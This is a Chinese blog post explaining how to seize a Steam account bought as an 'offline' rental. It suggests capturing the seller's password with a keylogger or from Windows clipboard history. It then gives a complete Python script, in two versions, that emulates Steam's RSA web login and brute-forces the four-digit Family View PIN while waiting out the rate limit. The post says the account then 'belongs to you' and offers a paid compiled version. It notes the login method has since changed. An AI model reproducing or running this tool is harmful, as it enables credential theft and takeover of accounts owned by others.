Steam家庭监护爆破
浏览 13525 | 评论 56 | 字数 10925
卖女孩的小火柴 - 搬砖中
2020年01月04日

我去淘宝买了一个游戏的Steam离线版，实际上就是给你个账户下载安装后以离线模式运行，配合上Steam账户管理器玩起来感觉还是很不错的
但我总是对客户端上的 家庭监护 标志耿耿于怀...

失效

已确认 Steam 更换了登录算法，本文的脚本失效。

怎么搞到账户密码？

对很多店来说，他们不愿意把账户密码给你，更愿意直接远程，然后输入账户和密码，全部设置好后给设置为离线模式。
这个其实很好搞，Steam本身保护并不是非常到位，你可以采取记录键盘的方式记录下输入的密码，如果遇到和我一样偷懒复制粘贴的店家，你只需要借助Win自带的剪贴板历史(Win徽标+V)打开后就可以看到复制来的账户和密码啦~~~

怎么搞到家庭监护的Key?

Steam客户端和Steam网页都会被监护影响，经过测试，无论是客户端还是网页，都是输错5次暂停3分钟输入，那当然选择网页折腾啦~~
抓包的过程也很简单，需要注意的是，有个参数是附在网页中传递来的，需要取出来，然后遇到错误暂停3分钟继续咯。。。

rsa.js.zip
下面是脚本：

  1. # !/user/bin/env python

  2. # -*- coding:utf-8 -*- 

  3. # time: 2018/9/6--19:24

  4. __author__ = 'Henry'

  5. # I use his login code ,thx him

  6. __sauthor__ = 'zponds'

  7. 

  8. '''

  9. Steam login (RSA)

  10. URL:https://store.steampowered.com/login/

  11. '''

  12. 

  13. import requests

  14. import time

  15. import re

  16. import execjs

  17. import json

  18. 

  19. def steam_login():

  20.     req = requests.session()

  21.     headers = {

  22.         'Referer': 'https://store.steampowered.com/login/',

  23.         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \

  24. Chrome/79.0.3945.88 Safari/537.36 Edg/79.0.309.54',

  25.     }

  26.     url = 'https://store.steampowered.com/login/getrsakey/'

  27.     data = {

  28.         'donotcache': str(int(time.time() * 1000)),

  29.         'username': user

  30.     }

  31.     html = req.post(url, data=data, headers=headers).json()

  32.     pub_mod = html.get('publickey_mod')

  33.     pub_exp = html.get('publickey_exp')

  34.     timestamp = html.get('timestamp')

  35. 

  36.     with open('rsa.js', encoding='utf-8') as f:

  37.         jsdata = f.read()

  38.     passencrypt = execjs.compile(jsdata).call('getpwd', password, pub_mod, pub_exp)

  39.     print(passencrypt)

  40.     # login

  41.     url = 'https://store.steampowered.com/login/dologin/'

  42.     data = {

  43.         'donotcache': str(int(time.time() * 1000)),

  44.         'username': user,

  45.         'password': passencrypt,

  46.         'twofactorcode': '',

  47.         'emailauth': '',

  48.         'loginfriendlyname': '',

  49.         'captchagid': '-1',

  50.         'captcha_text': '',

  51.         'emailsteamid': '',

  52.         'rsatimestamp': timestamp,

  53.         'remember_login': 'false',

  54.     }

  55.     html = req.post(url, data=data, headers=headers).json()

  56.     if html.get('emailauth_needed') == True:

  57.         print('Login requires your email verification code')

  58.         emailid = html.get('emailsteamid')

  59.         email = input('Please enter your email verification code:')

  60.         # login again

  61.         data['emailauth'] = email

  62.         data['emailsteamid'] = emailid

  63.         html = req.post(url, data=data, headers=headers).json()

  64.         print(html)

  65.         if html.get('login_complete') == True and html.get('success') == True:

  66.             print('logining...')

  67.             url_store = 'https://store.steampowered.com/'

  68.             html = req.get(url_store, headers=headers).text

  69.             username = re.findall(r'data-miniprofile=".*?">(.*?)</a>', html)[0]

  70.             print('[Success!Username:' + username + ']')

  71.             r = req.get('https://store.steampowered.com/parental/blocked')

  72.             if '/parental/unlock' in r.text:

  73.                 print('The account has a family view')

  74.                 sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]

  75.                 success = False

  76.                 start = input('PIN from:')

  77.                 start_time = int(time.time())

  78.                 for pin in range(int(start) - 1, 10000):

  79.                     flag = True

  80.                     while flag:

  81.                         # 取出sessionID

  82.                         pin_str = str(pin)

  83.                         while len(pin_str) < 4:

  84.                             pin_str = "0" + pin_str

  85.                         data = {

  86.                             'pin': pin_str,

  87.                             'sessionid': sessionID

  88.                         }

  89.                         try:

  90.                             r = req.post('https://store.steampowered.com/parental/ajaxunlock', data=data,

  91.                                          headers=headers)

  92.                             r_json = json.loads(r.text)

  93.                             if r_json['success'] == False:

  94.                                 if 'wait a while' in r_json['error_message']:

  95.                                     print('Sleep...')

  96.                                     time.sleep(180)

  97.                                     r = req.get('https://store.steampowered.com/parental/blocked')

  98.                                     sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]

  99.                                 else:

  100.                                     flag = False

  101.                                     print("PIN: %s: %s" % (pin_str, r_json['error_message']))

  102.                             else:

  103.                                 print("PIN: %s: SUCCESS!" % pin_str)

  104.                                 end_time = int(time.time())

  105.                                 print("Time: %ds" % (end_time-start_time))

  106.                                 success = True

  107.                         except BaseException as e:

  108.                             print('Error...')

  109.                             time.sleep(10)

  110.                         if success:

  111.                             exit(0)

  112.                 else:

  113.                     print('The account does not have a family view')

  114.         else:

  115.             print('login fail...')

  116.     elif html.get('success') == False and html.get('message') != '':

  117.         print(html.get('message'))

  118.         print('login fail...')

  119. 

  120. 

  121. if __name__ == '__main__':

  122.     user = input('account:')

  123.     password = input('password:')

  124.     steam_login()

0000-9999 Pin 3分钟可以尝试5次，运气再差也就2-3天的事情吧~找台服务器放着就好啦~

搞到KEY之后？

解除掉家庭监护就可以添加家庭共享啦~
接下来这个账户的使用权就属于你啦~

什么?不会运行Python?

没有关系，我已经准备好了一个WINDOWS开箱即用的版本了！购买附件，下载后可以直接使用！
同时附赠一次指导！

2020年3月18日更新

  • 掉线后会自动尝试重新登录
  • 结束后会要求输入EXIT以退出
  • BUG修复
  • 当然，编译的WINDOWS文件也更新了
  1. # !/user/bin/env python

  2. # -*- coding:utf-8 -*- 

  3. # time: 2018/9/6--19:24

  4. __author__ = 'Henry'

  5. # I use his login code ,thx him

  6. __sauthor__ = 'zponds'

  7. 

  8. '''

  9. Steam login (RSA)

  10. URL:https://store.steampowered.com/login/

  11. '''

  12. 

  13. import requests

  14. import time

  15. import re

  16. import execjs

  17. import json

  18. 

  19. def steam_login(open_start=-1):

  20.     req = requests.session()

  21.     headers = {

  22.         'Referer': 'https://store.steampowered.com/login/',

  23.         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \

  24. Chrome/79.0.3945.88 Safari/537.36 Edg/79.0.309.54',

  25.     }

  26.     url = 'https://store.steampowered.com/login/getrsakey/'

  27.     data = {

  28.         'donotcache': str(int(time.time() * 1000)),

  29.         'username': user

  30.     }

  31.     html = req.post(url, data=data, headers=headers).json()

  32.     pub_mod = html.get('publickey_mod')

  33.     pub_exp = html.get('publickey_exp')

  34.     timestamp = html.get('timestamp')

  35. 

  36.     with open('rsa.js', encoding='utf-8') as f:

  37.         jsdata = f.read()

  38.     passencrypt = execjs.compile(jsdata).call('getpwd', password, pub_mod, pub_exp)

  39.     # print(passencrypt)

  40.     # login

  41.     url = 'https://store.steampowered.com/login/dologin/'

  42.     data = {

  43.         'donotcache': str(int(time.time() * 1000)),

  44.         'username': user,

  45.         'password': passencrypt,

  46.         'twofactorcode': '',

  47.         'emailauth': '',

  48.         'loginfriendlyname': '',

  49.         'captchagid': '-1',

  50.         'captcha_text': '',

  51.         'emailsteamid': '',

  52.         'rsatimestamp': timestamp,

  53.         'remember_login': 'true',

  54.     }

  55.     html = req.post(url, data=data, headers=headers).json()

  56.     if html.get('emailauth_needed') == True:

  57.         print('登陆需要邮箱验证码...')

  58.         emailid = html.get('emailsteamid')

  59.         email = input('请输入验证码:')

  60.         # login again

  61.         data['emailauth'] = email

  62.         data['emailsteamid'] = emailid

  63.         html = req.post(url, data=data, headers=headers).json()

  64.         # print(html)

  65.     if html.get('login_complete') == True and html.get('success') == True:

  66.         print('logining...')

  67.         url_store = 'https://store.steampowered.com/'

  68.         html = req.get(url_store, headers=headers).text

  69.         username = re.findall(r'data-miniprofile=".*?">(.*?)</a>', html)[0]

  70.         print('[登陆成功!用户名:' + username + ']')

  71.         r = req.get('https://store.steampowered.com/parental/blocked')

  72.         if '/parental/unlock' in r.text:

  73.             print('这个账户存在家庭监护')

  74.             sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]

  75.             success = False

  76.             if open_start == -1:

  77.                 start = input('从多少开始PIN(第一次运行请从0000开始):')

  78.             else:

  79.                 start = open_start

  80.             start_time = int(time.time())

  81.             for pin in range(int(start) - 1, 10000):

  82.                 flag = True

  83.                 while flag:

  84.                     # 取出sessionID

  85.                     pin_str = str(pin)

  86.                     while len(pin_str) < 4:

  87.                         pin_str = "0" + pin_str

  88.                     data = {

  89.                         'pin': pin_str,

  90.                         'sessionid': sessionID

  91.                     }

  92.                     try:

  93.                         r = req.post('https://store.steampowered.com/parental/ajaxunlock', data=data,

  94.                                      headers=headers)

  95.                         if len(r.text) > 2000:

  96.                             return steam_login(pin)

  97.                         r_json = json.loads(r.text)

  98.                         if r_json['success'] == False:

  99.                             if 'wait a while'  in r_json['error_message'] or '错误尝试' in r_json['error_message']:

  100.                                 print('等待中...')

  101.                                 time.sleep(180)

  102.                                 r = req.get('https://store.steampowered.com/parental/blocked')

  103.                                 sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]

  104.                             else:

  105.                                 flag = False

  106.                                 print("PIN: %s: %s" % (pin_str, r_json['error_message']))

  107.                         else:

  108.                             print("PIN: %s: 成功!" % pin_str)

  109.                             end_time = int(time.time())

  110.                             print("Time: %ds" % (end_time-start_time))

  111.                             success = True

  112.                     except BaseException as e:

  113.                         print('Error...')

  114.                         time.sleep(10)

  115.                     if success:

  116.                         return

  117.         else:

  118.             print('您的账户不存在家庭监护!')

  119.     else:

  120.         print(html.get('message'))

  121.         print('登陆失败...')

  122. 

  123. 

  124. if __name__ == '__main__':

  125.     user = input('账户名:')

  126.     password = input('密码:')

  127.     print('注意，跑PIN耗时可能非常长...可能长达两天...')

  128.     steam_login()

  129.     end = input('输入 EXIT 以退出...')

  130.     while end != 'EXIT':

  131.         end = input('输入 EXIT 以退出...')
本文作者：卖女孩的小火柴 - 搬砖中
本文链接：https://www.shinenet.cn/archives/82.html
最后修改时间：2023-12-19 21:53:36
本站未注明转载的文章均为原创，并采用 CC BY-NC-SA 4.0 授权协议，转载请注明来源，谢谢！
评论
如果可能，请填写真实邮箱，有回复会送至邮箱。请不要水评论，谢谢。
textsms
支持 Markdown 语法
email
link
评论列表
已有 56 条评论
欧阳逸龙
2020-06-10 14:22
不在网页上可以吗
卖女孩的小火柴
2020-06-10 14:23
@欧阳逸龙 不行，不会整Steam的客户端登录算法
欧阳逸龙
2020-06-10 14:27
@卖女孩的小火柴 随便一个浏览器都可以吗
卖女孩的小火柴
2020-06-10 14:28
@欧阳逸龙 和浏览器有什么关系...
这个是直接做了前端逆向，模拟了浏览器
欧阳逸龙
2020-06-10 14:31
@欧阳逸龙 OK，加QQ同意一下
卖女孩的小火柴
2020-06-10 14:36
@欧阳逸龙 你号被TX风险了，同意不了
换个号加吧
欧阳逸龙
2020-06-10 12:47
为什么要暂停三分钟
卖女孩的小火柴
2020-06-10 13:59
@欧阳逸龙 不暂停会导致请求过快
的
2020-05-02 23:42
已安装node。js，但输入账号密码后还是闪退
卖女孩的小火柴
2020-05-03 08:22
@的 应该是不会出现这个情况的，请私聊我尝试解决
卖女孩的小火柴
2020-05-03 08:56
@卖女孩的小火柴 rsa.js文件需要和exe文件放在同一个目录
Entiredes
2020-04-25 23:22
已经用令牌登录过了，用它破解pin码却登录失败
卖女孩的小火柴
2020-04-26 23:47
@Entiredes Steam的令牌验证码只能使用一次哦~
0000
2020-04-19 20:57
为什么付完款还要在买？
卖女孩的小火柴
2020-04-19 21:11
@0000 请不要清理cookies，出现问题请加Q: 1005468403
0000
2020-04-20 11:32
@卖女孩的小火柴 更没更新没更新就不加了
卖女孩的小火柴
2020-04-20 11:33
@0000 没 没事更新干嘛
arrow_back 上一篇
西南交大学习资源全下载
arrow_forward 下一篇
常用API集合